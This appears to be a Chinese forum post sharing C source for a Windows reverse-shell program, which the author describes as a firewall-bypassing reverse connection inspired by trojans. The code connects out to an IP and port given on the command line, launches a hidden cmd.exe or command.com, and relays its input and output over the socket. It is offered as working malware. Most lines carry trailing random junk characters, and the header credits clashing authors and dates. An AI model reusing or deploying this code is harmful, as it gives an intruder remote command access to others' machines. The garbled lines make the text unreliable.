这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >\x
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/* ============================== aZCT|M1
Rebound port in Windows NT pC.T)k
By wind,2006/7 : )*Ge3
===============================*/ h9smviU7u
#include J#Ehx|
#include bvRGTOxO
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#pragma comment(lib,"wsock32.lib") 7?WBzo!!L
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void OutputShell(); zi[M{bm
SOCKET sClient; =v=!x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yQ&%* ?J
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void main(int argc,char **argv) R'HA>?D
{ \ OINzfbr
WSADATA stWsaData; Afl'-
int nRet; 17 iq
SOCKADDR_IN stSaiClient,stSaiServer; JJ3JULL2
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if(argc != 3) A+E@OO w*~
{ xyWdzc](p
printf("Useage:\n\rRebound DestIP DestPort\n"); .TS=[WGMS
return; :Rx"WY
} la 7QN QW
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WSAStartup(MAKEWORD(2,2),&stWsaData); t? Ja q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "(VcYQ+
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stSaiClient.sin_family = AF_INET; eE_XwLE
stSaiClient.sin_port = htons(0); 7f,WzvV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s""8V_,;
{ ~o5iCt;w
printf("Bind Socket Failed!\n"); PzkXrDlB7
return; 'Rw]
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} m6<0 hP
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stSaiServer.sin_family = AF_INET; xmx;tq
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); VjMuU"++@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4ux5G`oL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oF^hq-xcP
{ ,lM2BXz%
printf("Connect Error!"); cBf{R^>Fd
return; ^C|9K>M
} _oVA0@#n
OutputShell(); ?{")Wt
} =@
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void OutputShell() YcZ4y@6"
{ MX\-)e#
char szBuff[1024]; W/Q%%)J
SECURITY_ATTRIBUTES stSecurityAttributes; Ls*=mh~IY
OSVERSIONINFO stOsversionInfo; @ xr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4 Z)]Cq*3
STARTUPINFO stStartupInfo; XnOl*#P
char *szShell; M3`A&*\;
PROCESS_INFORMATION stProcessInformation; kn|l 3+
unsigned long lBytesRead; U8z"{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S`KCVQ>V
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6<nO2 GW
stSecurityAttributes.lpSecurityDescriptor = 0; hZJqo + s
stSecurityAttributes.bInheritHandle = TRUE; h_!"CF<n
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "FS.&&1(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #9Z-Hd<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a-y5 \x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JY16|ia
stStartupInfo.wShowWindow = SW_HIDE; )_?$B6hf,&
stStartupInfo.hStdInput = hReadPipe; D IN
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mNKa~E
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GetVersionEx(&stOsversionInfo); zPYa@0I
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switch(stOsversionInfo.dwPlatformId) A?zW!'
{ 1 Y&d%AA
case 1: lR!$+atW
szShell = "command.com"; 0<9TyN6
break; |?kH]Trr
default: _T$\$v$ {
szShell = "cmd.exe"; 'CX
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break; kz^G.5n
} :ux`*,zh
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kn\>ZgU
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send(sClient,szMsg,77,0); M&dtXG8<^
while(1) s-B\8&^C
{ /slML~$t<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *&D=]fG
if(lBytesRead) ($kwlj~c
{ 0"N %Vm
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [6|vx},N
send(sClient,szBuff,lBytesRead,0); Up&q#vqIj
} L/I-(08!Y:
else _c2#
{ kXWx )v
lBytesRead=recv(sClient,szBuff,1024,0); q}jf&xUWzH
if(lBytesRead<=0) break; F@BNSs N=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -)@.D>HsOt
} 6D],275`J
} $m>e!P>%u
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return; K^bn4Nr
}